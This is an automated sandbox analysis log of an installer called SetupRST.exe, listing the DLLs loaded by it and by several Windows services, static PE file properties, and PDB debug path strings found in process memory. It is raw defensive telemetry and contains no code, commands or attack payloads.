Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appvpolicy.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appmanagementconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxstiff.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxsresm.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: ualapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SetupRST.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SetupRST.exe

Static file information: File size 8888320 > 1048576

Source: SetupRST.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x7a6c00

Source: SetupRST.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: alg.exe, 00000004.00000003.1787894073.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: SetupRST.exe, 00000000.00000003.1459494441.00000000028E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: alg.exe, 00000004.00000003.1833683990.0000000001620000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1855767166.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1835109714.0000000001630000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb source: alg.exe, 00000004.00000003.1569725302.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb444 source: alg.exe, 00000004.00000003.1659533804.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb source: alg.exe, 00000004.00000003.1659533804.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: alg.exe, 00000004.00000003.1669783162.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: SetupRST.exe, 00000000.00000003.1500355060.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1529663155.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: alg.exe, 00000004.00000003.1902626829.0000000001570000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1900025698.0000000001670000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: crashreporter.pdb source: alg.exe, 00000004.00000003.2133669254.0000000000420000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6834\Output\Driver\x64\Release\RstMwEventLogMsg.pdbGCTL source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: alg.exe, 00000004.00000003.1638128120.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdbAAAGCTL source: alg.exe, 00000004.00000003.1783342935.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: alg.exe, 00000004.00000003.1888245447.0000000001560000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\SetupRST\obj\x64\Release\SetupRST.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1524593422.000001ED1D51C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: alg.exe, 00000004.00000003.1800772704.0000000001640000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1806141112.0000000001450000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\Tools\obj\x64\Release\Tools.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb888 source: alg.exe, 00000004.00000003.1691628645.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\SetupRST.pdb source: SetupRST.exe, 00000002.00000002.1524593422.000001ED1D52B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb((( source: alg.exe, 00000004.00000003.1574261740.0000000001470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: SetupRST.exe, 00000000.00000003.1487952043.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\ViewModels\obj\x64\Release\ViewModels.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: ADelRCP_Exec.pdbCC9 source: alg.exe, 00000004.00000003.1669783162.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdb source: alg.exe, 00000004.00000003.1582820888.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb00 source: unpack200.exe.4.dr
Source:	Binary string: Acrobat_SL.pdb source: alg.exe, 00000004.00000003.1574261740.0000000001470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: alg.exe, 00000004.00000003.1833683990.0000000001620000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1855767166.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1835109714.0000000001630000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java_objs\java.pdb source: java.exe.4.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: alg.exe, 00000004.00000003.1638128120.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdbGG source: alg.exe, 00000004.00000003.1706804476.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb))) source: alg.exe, 00000004.00000003.1569725302.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: alg.exe, 00000004.00000003.1902626829.0000000001570000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1900025698.0000000001670000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb source: SetupRST.exe, 00000000.00000003.1525013889.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2230108946.0000000001490000.00000004.00001000.00020000.00000000.sdmp, maintenanceservice.exe.4.dr
Source:	Binary string: 64BitMAPIBroker.pdb source: alg.exe, 00000004.00000003.1773336600.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: alg.exe, 00000004.00000003.1888245447.0000000001560000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: alg.exe, 00000004.00000003.2177703997.0000000000410000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6834\Output\Driver\x64\Release\RstMwEventLogMsg.pdb source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\jenkins\workspace\NGL_WORKFLOW\build\master\win64\Release\Acrobat\project\win\ngl-workflow\x64\Release (Acrobat)\adobe_licensing_wf_helper_acro.pdb source: alg.exe, 00000004.00000003.1749106054.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb source: alg.exe, 00000004.00000003.1691628645.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdbP source: alg.exe, 00000004.00000003.2177703997.0000000000410000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\setup.exe.pdb source: alg.exe, 00000004.00000003.2038438132.0000000001550000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb@@ source: alg.exe, 00000004.00000003.1755347738.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdb source: alg.exe, 00000004.00000003.1706804476.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: alg.exe, 00000004.00000003.1787894073.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\Interfaces\obj\x64\Release\Interfaces.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp
